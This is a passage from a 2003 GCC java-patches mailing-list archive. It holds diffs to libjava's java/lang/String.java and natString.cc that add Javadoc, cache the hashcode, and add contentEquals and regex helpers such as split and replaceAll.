          + * + * @param ascii array of integer values + * @param hibyte top byte of each Unicode character + * @throws NullPointerException if ascii is null + * @see #String(byte[]) + * @see #String(byte[], String) + * @see #String(byte[], int, int) + * @see #String(byte[], int, int, String) + * @see #String(byte[], int, int, int) + * @deprecated use {@link #String(byte[], String)} to perform + * correct encoding + */ + public String (byte[] ascii, int hibyte) { - init(data, offset, count, false); + init(ascii, hibyte, 0, ascii.length); } - // This is used by Integer.toString(int,int). - String (char[] data, int offset, int count, boolean dont_copy) + /** + * Creates a new String using the portion of the byte array starting at the + * offset and ending at offset + count. Uses the specified encoding type + * to decode the byte array, so the resulting string may be longer or + * shorter than the byte array. For more decoding control, use + * {@link java.nio.charset.CharsetDecoder}, and for valid character sets, + * see {@link java.nio.charset.Charset}. The behavior is not specified if + * the decoder encounters invalid characters; this implementation throws + * an Error. + * + * @param data byte array to copy + * @param offset the offset to start at + * @param count the number of characters in the array to use + * @param encoding the name of the encoding to use + * @throws NullPointerException if data or encoding is null + * @throws IndexOutOfBoundsException if offset or count is incorrect + * (while unspecified, this is a StringIndexOutOfBoundsException) + * @throws UnsupportedEncodingException if encoding is not found + * @throws Error if the decoding fails + * @since 1.1 + */ + public String (byte[] byteArray, int offset, int count, String enc) + throws UnsupportedEncodingException { - init(data, offset, count, dont_copy); + init (byteArray, offset, count, enc); } - public String (byte[] byteArray) + /** + * Creates a new String using the byte array. Uses the specified encoding + * type to decode the byte array, so the resulting string may be longer or + * shorter than the byte array. For more decoding control, use + * {@link java.nio.charset.CharsetDecoder}, and for valid character sets, + * see {@link java.nio.charset.Charset}. The behavior is not specified if + * the decoder encounters invalid characters; this implementation throws + * an Error. + * + * @param data byte array to copy + * @param encoding the name of the encoding to use + * @throws NullPointerException if data or encoding is null + * @throws UnsupportedEncodingException if encoding is not found + * @throws Error if the decoding fails + * @see #String(byte[], int, int, String) + * @since 1.1 + */ + public String (byte[] byteArray, String enc) + throws UnsupportedEncodingException { - this (byteArray, 0, byteArray.length); + this (byteArray, 0, byteArray.length, enc); } + /** + * Creates a new String using the portion of the byte array starting at the + * offset and ending at offset + count. Uses the encoding of the platform's + * default charset, so the resulting string may be longer or shorter than + * the byte array. For more decoding control, use + * {@link java.nio.charset.CharsetDecoder}. The behavior is not specified + * if the decoder encounters invalid characters; this implementation throws + * an Error. + * + * @param data byte array to copy + * @param offset the offset to start at + * @param count the number of characters in the array to use + * @throws NullPointerException if data is null + * @throws IndexOutOfBoundsException if offset or count is incorrect + * @throws Error if the decoding fails + * @see #String(byte[], int, int, String) + * @since 1.1 + */ public String (byte[] byteArray, int offset, int count) { try @@ -144,61 +329,153 @@ } } - public String (byte[] byteArray, String enc) - throws UnsupportedEncodingException - { - this (byteArray, 0, byteArray.length, enc); - } - - public String (byte[] byteArray, int offset, int count, String enc) - throws UnsupportedEncodingException - { - init (byteArray, offset, count, enc); - } - - public static String copyValueOf(char[] data) - { - return copyValueOf (data, 0, data.length); - } - - public static String copyValueOf(char[] data, int offset, int count) + /** + * Creates a new String using the byte array. Uses the encoding of the + * platform's default charset, so the resulting string may be longer or + * shorter than the byte array. For more decoding control, use + * {@link java.nio.charset.CharsetDecoder}. The behavior is not specified + * if the decoder encounters invalid characters; this implementation throws + * an Error. + * + * @param data byte array to copy + * @throws NullPointerException if data is null + * @throws Error if the decoding fails + * @see #String(byte[], int, int) + * @see #String(byte[], int, int, String) + * @since 1.1 + */ + public String (byte[] byteArray) { - String r = new String (); - r.init(data, offset, count, false); - return r; + this (byteArray, 0, byteArray.length); } - /** @deprecated */ - public String (byte[] ascii, int hibyte) + /** + * Creates a new String using the character sequence represented by + * the StringBuffer. Subsequent changes to buf do not affect the String. + * + * @param buffer StringBuffer to copy + * @throws NullPointerException if buffer is null + */ + public String (StringBuffer buffer) { - init(ascii, hibyte, 0, ascii.length); + synchronized (buffer) + { + buffer.shared = true; + init (buffer.value, 0, buffer.count, true); + } } - /** @deprecated */ - public String (byte[] ascii, int hibyte, int offset, int count) + /** + * Special constructor which can share an array when safe to do so. + * + * @param data the characters to copy + * @param offset the location to start from + * @param count the number of characters to use + * @param dont_copy true if the array is trusted, and need not be copied + * @throws NullPointerException if chars is null + * @throws StringIndexOutOfBoundsException if bounds check fails + */ + String (char[] data, int offset, int count, boolean dont_copy) { - init(ascii, hibyte, offset, count); + init(data, offset, count, dont_copy); } - public String toString () + // This is used by gnu.gcj.runtime.StringBuffer, so it must have + // package-private protection. It is accessed via CNI and so avoids + // ordinary protection mechanisms. + String (gnu.gcj.runtime.StringBuffer buffer) { - return this; + // No need to synchronize or mark the buffer, since we know it is + // only used once. + init (buffer.value, 0, buffer.count, true); } - public native boolean equals (Object anObject); - - public native int hashCode (); - - public int length () + /** + * Returns the number of characters contained in this String. + * + * @return the length of this String + */ + public int length() { return count; } + /** + * Returns the character located at the specified index within this String. + * + * @param index position of character to return (base 0) + * @return character located at position index + * @throws IndexOutOfBoundsException if index < 0 || index >= length() + * (while unspecified, this is a StringIndexOutOfBoundsException) + */ public native char charAt (int index); + /** + * Copies characters from this String starting at a specified start index, + * ending at a specified stop index, to a character array starting at + * a specified destination begin index. + * + * @param srcBegin index to begin copying characters from this String + * @param srcEnd index after the last character to be copied from this String + * @param dst character array which this String is copied into + * @param dstBegin index to start writing characters into dst + * @throws NullPointerException if dst is null + * @throws IndexOutOfBoundsException if any indices are out of bounds + * (while unspecified, source problems cause a + * StringIndexOutOfBoundsException, and dst problems cause an + * ArrayIndexOutOfBoundsException) + */ public native void getChars (int srcBegin, int srcEnd, char[] dst, int dstBegin); + /** + * Copies the low byte of each character from this String starting at a + * specified start index, ending at a specified stop index, to a byte array + * starting at a specified destination begin index. + * + * @param srcBegin index to being copying characters from this String + * @param srcEnd index after the last character to be copied from this String + * @param dst byte array which each low byte of this String is copied into + * @param dstBegin index to start writing characters into dst + * @throws NullPointerException if dst is null and copy length is non-zero + * @throws IndexOutOfBoundsException if any indices are out of bounds + * (while unspecified, source problems cause a + * StringIndexOutOfBoundsException, and dst problems cause an + * ArrayIndexOutOfBoundsException) + * @see #getBytes() + * @see #getBytes(String) + * @deprecated use {@link #getBytes()}, which uses a char to byte encoder + */ + public native void getBytes (int srcBegin, int srcEnd, + byte[] dst, int dstBegin); + + /** + * Converts the Unicode characters in this String to a byte array. Uses the + * specified encoding method, so the result may be longer or shorter than + * the String. For more encoding control, use + * {@link java.nio.charset.CharsetEncoder}, and for valid character sets, + * see {@link java.nio.charset.Charset}. The behavior is not specified if + * the encoder encounters a problem; this implementation returns null. + * + * @param enc encoding name + * @return the resulting byte array, or null on a problem + * @throws NullPointerException if enc is null + * @throws UnsupportedEncodingException if encoding is not supported + * @since 1.1 + */ + public native byte[] getBytes (String enc) + throws UnsupportedEncodingException; + + /** + * Converts the Unicode characters in this String to a byte array. Uses the + * encoding of the platform's default charset, so the result may be longer + * or shorter than the String. For more encoding control, use + * {@link java.nio.charset.CharsetEncoder}. The behavior is not specified if + * the encoder encounters a problem; this implementation returns null. + * + * @return the resulting byte array, or null on a problem + * @since 1.1 + */ public byte[] getBytes () { try @@ -222,84 +499,269 @@ } } - public native byte[] getBytes (String enc) - throws UnsupportedEncodingException; - - /** @deprecated */ - public native void getBytes (int srcBegin, int srcEnd, - byte[] dst, int dstBegin); - - public native char[] toCharArray (); + /** + * Predicate which compares anObject to this. This is true only for Strings + * with the same character sequence. + * + * @param anObject the object to compare + * @return true if anObject is semantically equal to this + * @see #compareTo(String) + * @see #equalsIgnoreCase(String) + */ + public native boolean equals (Object anObject); + /** + * Compares a String to this String, ignoring case. This does not handle + * multi-character capitalization exceptions; instead the comparison is + * made on a character-by-character basis, and is true if:
            + *
          • c1 == c2
          • + *
          • Character.toUpperCase(c1) + * == Character.toUpperCase(c2)
          • + *
          • Character.toLowerCase(c1) + * == Character.toLowerCase(c2)
          • + *
          + * + * @param anotherString String to compare to this String + * @return true if anotherString is equal, ignoring case + * @see #equals(Object) + * @see Character#toUpperCase(char) + * @see Character#toLowerCase(char) + */ public native boolean equalsIgnoreCase (String anotherString); + /** + * Compares this String and another String (case sensitive, + * lexicographically). The result is less than 0 if this string sorts + * before the other, 0 if they are equal, and greater than 0 otherwise. + * After any common starting sequence is skipped, the result is + * this.charAt(k) - anotherString.charAt(k) if both strings + * have characters remaining, or + * this.length() - anotherString.length() if one string is + * a subsequence of the other. + * + * @param anotherString the String to compare against + * @return the comparison + * @throws NullPointerException if anotherString is null + */ public native int compareTo (String anotherString); - public int compareTo (Object obj) + /** + * Behaves like compareTo(java.lang.String) unless the Object + * is not a String. Then it throws a + * ClassCastException. + * + * @param o the object to compare against + * @return the comparison + * @throws NullPointerException if o is null + * @throws ClassCastException if o is not a String + * @since 1.2 + */ + public int compareTo(Object o) { - return compareTo ((String)obj); + return compareTo((String) o); } - + + /** + * Compares this String and another String (case insensitive). This + * comparison is similar to equalsIgnoreCase, in that it ignores + * locale and multi-characater capitalization, and compares characters + * after performing + * Character.toLowerCase(Character.toUpperCase(c)) on each + * character of the string. This is unsatisfactory for locale-based + * comparison, in which case you should use {@link java.text.Collator}. + * + * @param s the string to compare against + * @return the comparison + * @see Collator#compare(String, String) + * @since 1.2 + */ public int compareToIgnoreCase (String str) { return this.toUpperCase().toLowerCase().compareTo( str.toUpperCase().toLowerCase()); } + /** + * Predicate which determines if this String matches another String + * starting at a specified offset for each String and continuing + * for a specified length. Indices out of bounds are harmless, and give + * a false result. + * + * @param toffset index to start comparison at for this String + * @param other String to compare region to this String + * @param oofset index to start comparison at for other + * @param len number of characters to compare + * @return true if regions match (case sensitive) + * @throws NullPointerException if other is null + */ public native boolean regionMatches (int toffset, String other, int ooffset, int len); + /** + * Predicate which determines if this String matches another String + * starting at a specified offset for each String and continuing + * for a specified length, optionally ignoring case. Indices out of bounds + * are harmless, and give a false result. Case comparisons are based on + * Character.toLowerCase() and + * Character.toUpperCase(), not on multi-character + * capitalization expansions. + * + * @param ignoreCase true if case should be ignored in comparision + * @param toffset index to start comparison at for this String + * @param other String to compare region to this String + * @param oofset index to start comparison at for other + * @param len number of characters to compare + * @return true if regions match, false otherwise + * @throws NullPointerException if other is null + */ public native boolean regionMatches (boolean ignoreCase, int toffset, String other, int ooffset, int len); + /** + * Predicate which determines if this String contains the given prefix, + * beginning comparison at toffset. The result is false if toffset is + * negative or greater than this.length(), otherwise it is the same as + * this.subString(toffset).startsWith(prefix). + * + * @param prefix String to compare + * @param toffset offset for this String where comparison starts + * @return true if this String starts with prefix + * @throws NullPointerException if prefix is null + * @see #regionMatches(boolean, int, String, int, int) + */ + public native boolean startsWith (String prefix, int toffset); + + /** + * Predicate which determines if this String starts with a given prefix. + * If the prefix is an empty String, true is returned. + * + * @param prefex String to compare + * @return true if this String starts with the prefix + * @throws NullPointerException if prefix is null + * @see #startsWith(String, int) + */ public boolean startsWith (String prefix) { return startsWith (prefix, 0); } - public native boolean startsWith (String prefix, int toffset); - + /** + * Predicate which determines if this String ends with a given suffix. + * If the suffix is an empty String, true is returned. + * + * @param suffix String to compare + * @return true if this String ends with the suffix + * @throws NullPointerException if suffix is null + * @see #regionMatches(boolean, int, String, int, int) + */ public boolean endsWith (String suffix) { return regionMatches (this.count - suffix.count, suffix, 0, suffix.count); } - // No such method specified in the doc, including JDK 1.2. - // public boolean endsWith (String suffix, int toffset) - // { - // return regionMatches (toffset, suffix, 0, suffix.count); - // } - - // The Language Specification, and the JDK 1.2 API docs say that - // index and lastIndex take an int, while the Class Libraries - // say they take a char. The former wins ... + /** + * Computes the hashcode for this String. This is done with int arithmetic, + * where ** represents exponentiation, by this formula:
          + * s[0]*31**(n-1) + s[1]*31**(n-2) + ... + s[n-1]. + * + * @return hashcode value of this String + */ + public native int hashCode (); + /** + * Finds the first instance of a character in this String. + * + * @param ch character to find + * @return location (base 0) of the character, or -1 if not found + */ public int indexOf (int ch) { return indexOf (ch, 0); } + /** + * Finds the first instance of a character in this String, starting at + * a given index. If starting index is less than 0, the search + * starts at the beginning of this String. If the starting index + * is greater than the length of this String, -1 is returned. + * + * @param ch character to find + * @param fromIndex index to start the search + * @return location (base 0) of the character, or -1 if not found + */ public native int indexOf (int ch, int fromIndex); - public int indexOf (String str) + /** + * Finds the last instance of a character in this String. + * + * @param ch character to find + * @return location (base 0) of the character, or -1 if not found + */ + public int lastIndexOf (int ch) { - return indexOf (str, 0); + return lastIndexOf (ch, count - 1); } - public native int indexOf (String str, int fromIndex); + /** + * Finds the last instance of a character in this String, starting at + * a given index. If starting index is greater than the maximum valid + * index, then the search begins at the end of this String. If the + * starting index is less than zero, -1 is returned. + * + * @param ch character to find + * @param fromIndex index to start the search + * @return location (base 0) of the character, or -1 if not found + */ + public native int lastIndexOf (int ch, int fromIndex); - public int lastIndexOf (int ch) + /** + * Finds the first instance of a String in this String. + * + * @param str String to find + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + */ + public int indexOf (String str) { - return lastIndexOf (ch, count - 1); + return indexOf (str, 0); } - public native int lastIndexOf (int ch, int fromIndex); + /** + * Finds the first instance of a String in this String, starting at + * a given index. If starting index is less than 0, the search + * starts at the beginning of this String. If the starting index + * is greater than the length of this String, -1 is returned. + * + * @param str String to find + * @param fromIndex index to start the search + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + */ + public native int indexOf (String str, int fromIndex); + /** + * Finds the last instance of a String in this String. + * + * @param str String to find + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + */ public int lastIndexOf (String str) { return lastIndexOf (str, count - str.count); } + /** + * Finds the last instance of a String in this String, starting at + * a given index. If starting index is greater than the maximum valid + * index, then the search begins at the end of this String. If the + * starting index is less than zero, -1 is returned. + * + * @param str String to find + * @param fromIndex index to start the search + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + */ public int lastIndexOf (String str, int fromIndex) { if (fromIndex >= count) @@ -315,19 +777,42 @@ /** * Creates a substring of this String, starting at a specified index + * and ending at the end of this String. + * + * @param begin index to start substring (base 0) + * @return new String which is a substring of this String + * @throws IndexOutOfBoundsException if begin < 0 || begin > length() + * (while unspecified, this is a StringIndexOutOfBoundsException) + */ + public String substring (int beginIndex) + { + return substring (beginIndex, count); + } + + /** + * Creates a substring of this String, starting at a specified index * and ending at one character before a specified index. - *

          - * To implement CharSequence. - * Calls substring(beginIndex, endIndex). - * - * @param beginIndex index to start substring (base 0) - * @param endIndex index after the last character to be - * copied into the substring - * + * + * @param begin index to start substring (inclusive, base 0) + * @param end index to end at (exclusive) * @return new String which is a substring of this String + * @throws IndexOutOfBoundsException if begin < 0 || end > length() + * || begin > end (while unspecified, this is a + * StringIndexOutOfBoundsException) + */ + public native String substring (int beginIndex, int endIndex); + + /** + * Creates a substring of this String, starting at a specified index + * and ending at one character before a specified index. This behaves like + * substring(beginIndex, endIndex). * - * @exception StringIndexOutOfBoundsException - * if (beginIndex < 0 || endIndex > this.length() || beginIndex > endIndex) + * @param beginIndex index to start substring (inclusive, base 0) + * @param endIndex index to end at (exclusive) + * @return new String which is a substring of this String + * @throws IndexOutOfBoundsException if begin < 0 || end > length() + * || begin > end + * @since 1.4 */ public CharSequence subSequence(int beginIndex, int endIndex) throws IndexOutOfBoundsException @@ -335,20 +820,48 @@ return substring(beginIndex, endIndex); } - public String substring (int beginIndex) - { - return substring (beginIndex, count); - } - - public native String substring (int beginIndex, int endIndex); - + /** + * Concatenates a String to this String. This results in a new string unless + * one of the two originals is "". + * + * @param str String to append to this String + * @return newly concatenated String + * @throws NullPointerException if str is null + */ public native String concat (String str); + /** + * Replaces every instance of a character in this String with a new + * character. If no replacements occur, this is returned. + * + * @param oldChar the old character to replace + * @param newChar the new character + * @return new String with all instances of oldChar replaced with newChar + */ public native String replace (char oldChar, char newChar); + /** + * Lowercases this String according to a particular locale. This uses + * Unicode's special case mappings, as applied to the given Locale, so the + * resulting string may be a different length. + * + * @param loc locale to use + * @return new lowercased String, or this if no characters were lowercased + * @throws NullPointerException if loc is null + * @see #toUpperCase(Locale) + * @since 1.1 + */ public native String toLowerCase (Locale locale); - public native String toUpperCase (Locale locale); + /** + * Lowercases this String. This uses Unicode's special case mappings, as + * applied to the platform's default Locale, so the resulting string may + * be a different length. + * + * @return new lowercased String, or this if no characters were lowercased + * @see #toLowerCase(Locale) + * @see #toUpperCase() + */ public String toLowerCase () { // The JDK is a bit confused about what to do here. If we pass in @@ -358,6 +871,28 @@ return toLowerCase (null); } + /** + * Uppercases this String according to a particular locale. This uses + * Unicode's special case mappings, as applied to the given Locale, so the + * resulting string may be a different length. + * + * @param loc locale to use + * @return new uppercased String, or this if no characters were uppercased + * @throws NullPointerException if loc is null + * @see #toLowerCase(Locale) + * @since 1.1 + */ + public native String toUpperCase (Locale locale); + + /** + * Uppercases this String. This uses Unicode's special case mappings, as + * applied to the platform's default Locale, so the resulting string may + * be a different length. + * + * @return new uppercased String, or this if no characters were uppercased + * @see #toUpperCase(Locale) + * @see #toLowerCase() + */ public String toUpperCase () { // The JDK is a bit confused about what to do here. If we pass in @@ -367,45 +902,191 @@ return toUpperCase (null); } + /** + * Trims all characters less than or equal to '\u0020' + * (' ') from the beginning and end of this String. This + * includes many, but not all, ASCII control characters, and all + * {@link Character#whitespace(char)}. + * + * @return new trimmed String, or this if nothing trimmed + */ public native String trim (); + /** + * Returns this, as it is already a String! + * + * @return this + */ + public String toString () + { + return this; + } + + /** + * Copies the contents of this String into a character array. Subsequent + * changes to the array do not affect the String. + * + * @return character array copying the String + */ + public native char[] toCharArray (); + + /** + * Returns a String representation of an Object. This is "null" if the + * object is null, otherwise it is obj.toString() (which + * can be null). + * + * @param obj the Object + * @return the string conversion of obj + */ public static String valueOf (Object obj) { return obj == null ? "null" : obj.toString(); } + /** + * Returns a String representation of a character array. Subsequent + * changes to the array do not affect the String. + * + * @param data the character array + * @return a String containing the same character sequence as data + * @throws NullPointerException if data is null + * @see #valueOf(char[], int, int) + * @see #String(char[]) + */ public static String valueOf (char[] data) { return valueOf (data, 0, data.length); } + /** + * Returns a String representing the character sequence of the char array, + * starting at the specified offset, and copying chars up to the specified + * count. Subsequent changes to the array do not affect the String. + * + * @param data character array + * @param offset position (base 0) to start copying out of data + * @param count the number of characters from data to copy + * @return String containing the chars from data[offset..offset+count] + * @throws NullPointerException if data is null + * @throws IndexOutOfBoundsException if (offset < 0 || count < 0 + * || offset + count > data.length) + * (while unspecified, this is a StringIndexOutOfBoundsException) + * @see #String(char[], int, int) + */ public static native String valueOf (char[] data, int offset, int count); + /** + * Returns a String representing the character sequence of the char array, + * starting at the specified offset, and copying chars up to the specified + * count. Subsequent changes to the array do not affect the String. + * + * @param data character array + * @param offset position (base 0) to start copying out of data + * @param count the number of characters from data to copy + * @return String containing the chars from data[offset..offset+count] + * @throws NullPointerException if data is null + * @throws IndexOutOfBoundsException if (offset < 0 || count < 0 + * || offset + count > data.length) + * (while unspecified, this is a StringIndexOutOfBoundsException) + * @see #String(char[], int, int) + */ + public static String copyValueOf(char[] data, int offset, int count) + { + String r = new String (); + r.init(data, offset, count, false); + return r; + } + + /** + * Returns a String representation of a character array. Subsequent + * changes to the array do not affect the String. + * + * @param data the character array + * @return a String containing the same character sequence as data + * @throws NullPointerException if data is null + * @see #copyValueOf(char[], int, int) + * @see #String(char[]) + */ + public static String copyValueOf(char[] data) + { + return copyValueOf (data, 0, data.length); + } + + /** + * Returns a String representing a boolean. + * + * @param b the boolean + * @return "true" if b is true, else "false" + */ public static String valueOf (boolean b) { return b ? "true" : "false"; } + /** + * Returns a String representing a character. + * + * @param c the character + * @return String containing the single character c + */ public static native String valueOf (char c); + /** + * Returns a String representing an integer. + * + * @param i the integer + * @return String containing the integer in base 10 + * @see Integer#toString(int) + */ public static native String valueOf (int i); + /** + * Returns a String representing a long. + * + * @param l the long + * @return String containing the long in base 10 + * @see Long#toString(long) + */ public static String valueOf (long l) { return Long.toString(l); } + /** + * Returns a String representing a float. + * + * @param f the float + * @return String containing the float + * @see Float#toString(float) + */ public static String valueOf (float f) { return Float.toString(f); } + /** + * Returns a String representing a double. + * + * @param d the double + * @return String containing the double + * @see Double#toString(double) + */ public static String valueOf (double d) { return Double.toString(d); } + /** + * Fetches this String from the intern hashtable. If two Strings are + * considered equal, by the equals() method, then intern() will return the + * same String instance. ie. if (s1.equals(s2)) then + * (s1.intern() == s2.intern()). All string literals and string-valued + * constant expressions are already interned. + * + * @return the interned String + */ public native String intern (); + private native void init (); private native void init (char[] chars, int offset, int count, From java-patches-return-6616-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 30 06:42:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16136 invoked by alias); 30 Mar 2003 06:42:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16129 invoked from network); 30 Mar 2003 06:42:49 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 30 Mar 2003 06:42:49 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id XAA19774; Sat, 29 Mar 2003 23:42:48 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 96A164F867C; Sat, 29 Mar 2003 23:38:24 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: more String patches From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HERE!! Put THIS on!! I'm in CHARGE!! Date: 29 Mar 2003 23:38:24 -0700 Message-ID: <87y92x2wbj.fsf@fleche.redhat.com> Lines: 319 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This is the next step in re-doing the String merge. This patch adds some missing String methods from Classpath. It also changes String to cache the hashcode. This was discussed when Eric wrote the patch, and Jeff did some benchmarks that showed this to be a performance improvement. Tom Index: ChangeLog from Eric Blake Tom Tromey * java/lang/natString.cc (hashCode): Use cachedHashCode. (init()): Removed. (charAt): Put index in exception. (contentEquals): New method. Include StringBuffer.h. * java/lang/String.java (cachedHashCode): New field. (String()): Follow classpath implementation. (init()): Removed. (contentEquals): Declare. (subSequence): Don't declare IndexOutIfBoundsException in throws clause. (matches, replaceFirst, replaceAll, split): New methods from Classpath. Index: java/lang/String.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/String.java,v retrieving revision 1.20 diff -u -r1.20 String.java --- java/lang/String.java 30 Mar 2003 05:38:28 -0000 1.20 +++ java/lang/String.java 30 Mar 2003 06:21:59 -0000 @@ -44,6 +44,8 @@ import java.lang.Comparable; import java.util.Comparator; import java.util.Locale; +import java.util.regex.Pattern; +import java.util.regex.PatternSyntaxException; /** * Strings represent an immutable set of characters. All String literals @@ -87,6 +89,12 @@ int count; /** + * Caches the result of hashCode(). If this value is zero, the hashcode + * is considered uncached (even if 0 is the correct hash value). + */ + private int cachedHashCode; + + /** * An implementation for {@link CASE_INSENSITIVE_ORDER}. * This must be {@link Serializable}. The class name is dictated by * compatibility with Sun's JDK. @@ -137,9 +145,11 @@ * Creates an empty String (length 0). Unless you really need a new object, * consider using "" instead. */ - public String () + public String() { - init(); + data = "".data; + boffset = 0; + count = 0; } /** @@ -154,6 +164,7 @@ data = str.data; boffset = str.boffset; count = str.count; + cachedHashCode = str.cachedHashCode; } /** @@ -511,6 +522,17 @@ public native boolean equals (Object anObject); /** + * Compares the given StringBuffer to this String. This is true if the + * StringBuffer has the same content as this String at this moment. + * + * @param buffer the StringBuffer to compare to + * @return true if StringBuffer has the same character sequence + * @throws NullPointerException if the given StringBuffer is null + * @since 1.4 + */ + public native boolean contentEquals(StringBuffer buffer); + + /** * Compares a String to this String, ignoring case. This does not handle * multi-character capitalization exceptions; instead the comparison is * made on a character-by-character basis, and is true if:

            @@ -815,7 +837,6 @@ * @since 1.4 */ public CharSequence subSequence(int beginIndex, int endIndex) - throws IndexOutOfBoundsException { return substring(beginIndex, endIndex); } @@ -841,6 +862,124 @@ public native String replace (char oldChar, char newChar); /** + * Test if this String matches a regular expression. This is shorthand for + * {@link Pattern}.matches(regex, this). + * + * @param regex the pattern to match + * @return true if the pattern matches + * @throws NullPointerException if regex is null + * @throws PatternSyntaxException if regex is invalid + * @see Pattern#matches(String, CharSequence) + * @since 1.4 + */ + public boolean matches(String regex) + { + return Pattern.matches(regex, this); + } + + /** + * Replaces the first substring match of the regular expression with a + * given replacement. This is shorthand for {@link Pattern} + * .compile(regex).matcher(this).replaceFirst(replacement). + * + * @param regex the pattern to match + * @param replacement the replacement string + * @return the modified string + * @throws NullPointerException if regex or replacement is null + * @throws PatternSyntaxException if regex is invalid + * @see #replaceAll(String, String) + * @see Pattern#compile(String) + * @see Pattern#matcher(CharSequence) + * @see Matcher#replaceFirst(String) + * @since 1.4 + */ + public String replaceFirst(String regex, String replacement) + { + return Pattern.compile(regex).matcher(this).replaceFirst(replacement); + } + + /** + * Replaces all matching substrings of the regular expression with a + * given replacement. This is shorthand for {@link Pattern} + * .compile(regex).matcher(this).replaceAll(replacement). + * + * @param regex the pattern to match + * @param replacement the replacement string + * @return the modified string + * @throws NullPointerException if regex or replacement is null + * @throws PatternSyntaxException if regex is invalid + * @see #replaceFirst(String, String) + * @see Pattern#compile(String) + * @see Pattern#matcher(CharSequence) + * @see Matcher#replaceAll(String) + * @since 1.4 + */ + public String replaceAll(String regex, String replacement) + { + return Pattern.compile(regex).matcher(this).replaceAll(replacement); + } + + /** + * Split this string around the matches of a regular expression. Each + * element of the returned array is the largest block of characters not + * terminated by the regular expression, in the order the matches are found. + * + *

            The limit affects the length of the array. If it is positive, the + * array will contain at most n elements (n - 1 pattern matches). If + * negative, the array length is unlimited, but there can be trailing empty + * entries. if 0, the array length is unlimited, and trailing empty entries + * are discarded. + * + *

            For example, splitting "boo:and:foo" yields:
            + * + * + * + * + * + * + * + * + *
            Regex Limit Result
            ":" 2 { "boo", "and:foo" }
            ":" t { "boo", "and", "foo" }
            ":" -2 { "boo", "and", "foo" }
            "o" 5 { "b", "", ":and:f", "", "" }
            "o" -2 { "b", "", ":and:f", "", "" }
            "o" 0 { "b", "", ":and:f" }
            + * + *

            This is shorthand for + * {@link Pattern}.compile(regex).split(this, limit). + * + * @param regex the pattern to match + * @param limit the limit threshold + * @return the array of split strings + * @throws NullPointerException if regex or replacement is null + * @throws PatternSyntaxException if regex is invalid + * @see Pattern#compile(String) + * @see Pattern#split(CharSequence, int) + * @since 1.4 + */ + public String[] split(String regex, int limit) + { + return Pattern.compile(regex).split(this, limit); + } + + /** + * Split this string around the matches of a regular expression. Each + * element of the returned array is the largest block of characters not + * terminated by the regular expression, in the order the matches are found. + * The array length is unlimited, and trailing empty entries are discarded, + * as though calling split(regex, 0). + * + * @param regex the pattern to match + * @return the array of split strings + * @throws NullPointerException if regex or replacement is null + * @throws PatternSyntaxException if regex is invalid + * @see #split(String, int) + * @see Pattern#compile(String) + * @see Pattern#split(CharSequence, int) + * @since 1.4 + */ + public String[] split(String regex) + { + return Pattern.compile(regex).split(this, 0); + } + + /** * Lowercases this String according to a particular locale. This uses * Unicode's special case mappings, as applied to the given Locale, so the * resulting string may be a different length. @@ -1088,7 +1227,6 @@ public native String intern (); - private native void init (); private native void init (char[] chars, int offset, int count, boolean dont_copy); private native void init (byte[] chars, int hibyte, int offset, int count); Index: java/lang/natString.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natString.cc,v retrieving revision 1.27 diff -u -r1.27 natString.cc --- java/lang/natString.cc 13 Jun 2002 18:16:26 -0000 1.27 +++ java/lang/natString.cc 30 Mar 2003 06:22:00 -0000 @@ -1,6 +1,6 @@ // natString.cc - Implementation of java.lang.String native methods. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -20,6 +20,7 @@ #include #include #include +#include #include #include #include @@ -102,7 +103,9 @@ jint java::lang::String::hashCode() { - return hashChars(JvGetStringChars(this), length()); + if (cachedHashCode == 0) + cachedHashCode = hashChars(JvGetStringChars(this), length()); + return cachedHashCode; } jstring* @@ -429,14 +432,6 @@ } void -java::lang::String::init () -{ - count = 0; - boffset = sizeof(java::lang::String); - data = this; -} - -void java::lang::String::init(jcharArray chars, jint offset, jint count, jboolean dont_copy) { @@ -552,11 +547,30 @@ return true; } +jboolean +java::lang::String::contentEquals(java::lang::StringBuffer* buffer) +{ + if (buffer == NULL) + throw new NullPointerException; + JvSynchronize sync(buffer); + if (count != buffer->count) + return false; + if (data == buffer->value) + return true; // Possible if shared. + jint i = count; + jchar *xptr = JvGetStringChars(this); + jchar *yptr = elements(buffer->value); + while (--i >= 0) + if (*xptr++ != *yptr++) + return false; + return true; +} + jchar java::lang::String::charAt(jint i) { if (i < 0 || i >= count) - throw new java::lang::StringIndexOutOfBoundsException; + throw new java::lang::StringIndexOutOfBoundsException(i); return JvGetStringChars(this)[i]; } From java-patches-return-6617-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 30 17:03:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5113 invoked by alias); 30 Mar 2003 17:03:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5099 invoked from network); 30 Mar 2003 17:03:03 -0000 Received: from unknown (HELO 